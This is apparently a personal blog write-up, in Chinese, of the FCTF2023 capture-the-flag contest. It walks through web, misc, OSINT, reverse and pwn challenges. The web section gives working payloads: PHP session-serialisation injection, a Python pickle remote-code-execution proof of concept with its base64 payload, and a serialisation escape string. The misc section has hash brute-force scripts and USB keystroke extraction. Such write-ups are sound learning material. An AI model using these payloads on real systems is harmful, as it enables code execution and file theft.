FCTF2023

本文最后更新于:2023年8月25日 下午

FCTF2023

[TOC]

web

连连看

这个题关了js再打开,计时就会暂停下来(火狐不可以。。)

ez_session

phpinfo.php

image-20230611003304628

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
include('session.php');
session_start();
foreach($_GET as $key=>$value)
{
$$key=$value;
}
if($_SESSION['C']){
unset($_SESSION);
}

session.php

1
2
3
4
5
6
7
8
<?php
session_start();
if($_SESSION['C']){
$flag=$_SESSION['C'];
}else{
$flag='hhh.jpg';
}
echo "<img src=data:image/jpg;base64,".base64_encode(file_get_contents($flag)).">

session反序列化

(注意这里的C参数不要加单引号。。)

image-20230611002749512

传参:

1
?_SESSION[C]=flag.php

然后session文件变成这样:

1
C|s:8:"flag.php";

接着session.php使用php处理器进行反序列化,就会将$flag赋值为flag.php

image-20230611002845014

baby_flask

flask-unsign爆破key

flask secret_key 如果是弱口令的话,是可以使用flask-unsign进行爆破的

image-20230610220605238

pickle反序列化

构造poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64
import pickle


class genpoc(object):
def __reduce__(self):
cmd = 'cat /secret_is_here/flag.txt' # 要执行的命令
s = "__import__('os').popen('{}').read()".format(cmd)
return (eval, (s,))

poc = pickle.dumps(genpoc())
print(base64.b64encode(poc))


gASVWQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIw9X19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9zZWNyZXRfaXNfaGVyZS9mbGFnLnR4dCcpLnJlYWQoKZSFlFKULg==
image-20230610220555143

ez_login

看网上文章说可以删掉验证码

image-20230611005539191

删掉后确实可以用

image-20230611005552536

根据这个我们进行爆破,得到密码:password

image-20230611100702412

登录后获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php  
session_start();
if($_SESSION['user']==""){
echo "<script language='javascript'>alert('请通过正确途径登录');history.back();</script>";
}else{
echo $_SESSION['user'];
highlight_file(__FILE__);
function filter_xss($str) {
return preg_replace('/\<|\>/','',$str);
}
if($_SESSION)
{
unset($_SESSION);
}

$_SESSION['username']="Guest";
foreach($_GET as $key=>$value)
{
$$key=$value;
}

if(isset($act)&&$act=='get_flag')
{
$_SESSION['img']="404.jpg";
$serialize_str=serialize($_SESSION);
$userinfo=unserialize(filter_xss($serialize_str));
echo "<h3>Hello:{$userinfo['username']}<h3>";
echo "<h3>Where is my flag!!!!??<h3>";
echo "<img src=data:image/jpg;base64,".base64_encode(file_get_contents("{$userinfo['img']}")).">";
}
}
?>

注意filter函数,将 < > 替换为空,所以这里存在反序列化字符逃逸

构造:

(注意要让参数的个数一致)

image-20230611100934859

1
?act=get_flag&_SESSION[username]=admin<><<<<<<<<<<<<<<<<<<<<&_SESSION[payload]=";s:3:"abc";s:1:"s";s:3:"img";s:8:"flag.php";}

misc

这是真签到

FCTF{Welcome_To_FCTF2023_Have_A_Good_Time!}

拼图

使用gaps拼图

image-20230611112105363

猜字游戏

(提示:纯游戏,玩过即有flag)

sgin_hash

使用python脚本爆破,或者使用hashcat爆破

爆学号

1
2
3
4
for i in range(202200000000,202299999999):
if str(hashlib.sha1(str(i).encode()).hexdigest()) == '4e8f0617e75ce5050407eae2ca2e6dc7a325eab9':
print(i)
break

爆电话

1
2
3
4
for i in range(13100000000,13199999999):
if str(hashlib.sha256(str(i).encode()).hexdigest()) == '30c4d91e74562b1ce6b2a31de8b54a0d05f37dde6012cc362b10010f529a2619':
print(i)
break

古典密码

栅栏+凯撒

baby_Stegan

将docx文件改为zip

然后获得 水印.jpg

使用 BlindWatermark.jar 分离出盲水印

image-20230611173519449

然后使用steghide解密:

image-20230611173615905

baby_hacker

pcapng文件手工分离(使用16进制):

image-20230611210821895

在pcapng文件中分离出一张图片:

image-20230611210931939

使用该密码解压压缩包:

usb.pcapng中是一段键盘流量

image-20230611210957990

使用tshark提取数据

1
tshark -r usb.pcapng -T fields -e usbhid.data | sed '/^\s*$/d'  > usb.txt

然后使用脚本加上冒号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
f=open('usb.txt', 'r')
fi=open('out.txt','w')
while 1:
a=f.readline().strip()
if a:
if len(a)==16: # 鼠标流量的话len改为8
out=''
for i in range(0,len(a),2):
if i+2 != len(a):
out+=a[i]+a[i+1]+":"
else:
out+=a[i]+a[i+1]
fi.write(out)
fi.write('\n')
else:
break

fi.close()

image-20230611211150711

使用脚本将这些数据转为键盘按键:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mappings = {0x04: "A", 0x05: "B", 0x06: "C", 0x07: "D", 0x08: "E", 0x09: "F", 0x0A: "G", 0x0B: "H", 0x0C: "I", 0x0D: "J", 0x0E: "K", 0x0F: "L", 0x10: "M", 0x11: "N", 0x12: "O", 0x13: "P", 0x14: "Q", 0x15: "R", 0x16: "S", 0x17: "T", 0x18: "U", 0x19: "V", 0x1A: "W", 0x1B: "X", 0x1C: "Y", 0x1D: "Z", 0x1E: "1", 0x1F: "2", 0x20: "3", 0x21: "4", 0x22: "5", 0x23: "6", 0x24: "7", 0x25: "8", 0x26: "9", 0x27: "0", 0x28: "\n", 0x2a: "[DEL]", 0X2B: "    ", 0x2C: " ", 0x2D: "-", 0x2E: "=", 0x2F: "[", 0x30: "]", 0x31: "\\", 0x32: "~", 0x33: ";", 0x34: "'", 0x36: ",", 0x37: "."}

nums = []
keys = open('out.txt')
for line in keys:
if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
continue
nums.append(int(line[6:8],16))

keys.close()

output = ""
for n in nums:
if n == 0 :
continue
if n in mappings:
output += mappings[n]
else:
output += '[unknown]'

print 'output :\n' + output

image-20230611211305982

转为小写后解密压缩包得flag([DEL]键是删除键)

blockchain_check_in

very easy blockchain,go fast to check in!
based on Sepolia

第一次写这种区块链的题

首先创建一个metamask钱包

image-20230611180901209

然后去这个网站添加 Sepolia 网络 (这网络真烂,一直进不去)

然后找网站在线挖矿 , 获得 ETH

解题步骤:

首先创建一个账户:

image-20230611181400355

然后我们向这个账户地址转ETH,转完之后使用account部署contract

image-20230611181621569

使用在线remix编写,将合约复制到 Example.sol文件中

image-20230611181645075

编译一下:

image-20230611181744687

接着:

image-20230611181920779

然后调用setGreeting,参数输出字符串 HelloChainFlag

image-20230611181945438

然后metamask就会弹出交易:

image-20230611182037020

再点击 isSolved

image-20230611182055275

这时就得到flag了

image-20230611182133216

参考文章:https://www.ctfiot.com/53620.html (一摸一样好吧)

osint

保护喵喵

osint

故地重游

搜索车牌确定为临沂

然后搜原拿铁,在百度地图上找到

去旅游了

image-20230613195435261

使用fofa

1
title="风信子" && host="org"

image-20230613195457169

re

Click

暴力点100下,或者用ida

pwn

sgin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include<string.h>
#pragma pack(1)
struct A
{
char password[21];
int key;
};


int main()
{
A a;
scanf("%s", a.password);
if (!strncmp(a.password, "FCTF{wow_Pwn_is_v3ry_",21))
{
if (a.key == 0x7d4e7566)
{
puts("wow your input is the flag");
}
}
return 0;
}

前21个是 FCTF{wow_Pwn_is_v3ry_

0x7d4e7566转为字符为:}Nuf

所以flag:FCTF{wow_Pwn_is_v3ry_fuN}


FCTF2023
https://leekosss.github.io/2023/08/24/FCTF2023/
作者
leekos
发布于
2023年8月24日
更新于
2023年8月25日
许可协议